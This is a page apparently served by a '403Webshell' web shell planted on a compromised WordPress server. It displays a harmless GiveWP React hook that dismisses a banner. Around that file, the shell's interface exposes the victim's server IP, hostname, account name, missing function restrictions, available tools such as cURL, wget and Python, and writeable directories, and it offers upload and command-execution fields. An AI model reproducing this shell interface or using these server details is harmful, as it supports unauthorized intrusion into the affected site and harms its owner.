403Webshell
Server IP : 192.158.238.246  /  Your IP : 18.220.97.0
Web Server : LiteSpeed
System : Linux uniform.iwebfusion.net 4.18.0-553.27.1.lve.1.el8.x86_64 #1 SMP Wed Nov 20 15:58:00 UTC 2024 x86_64
User : jenniferflocom ( 1321)
PHP Version : 8.1.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/7779/cwd/plugins/give/src/Promotions/WelcomeBanner/resources/js/app/hooks/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/7779/cwd/plugins/give/src/Promotions/WelcomeBanner/resources/js/app/hooks/useDismiss.ts
import getWindowData from '../../index';
import {useState} from 'react';

export function useDismiss() {
    const [showBanner, setShowBanner] = useState<boolean>(true);

    const dismissBanner = async function () {
        const {nonce, action, root} = getWindowData();
        const url = `${root}/dismiss`;
        
        setShowBanner(false);

        await fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'X-WP-Nonce': nonce,
            },
            body: JSON.stringify({
                action,
            }),
        });
    };

    return {dismissBanner, showBanner};
}

Youez - 2016 - github.com/yon3zu
LinuXploit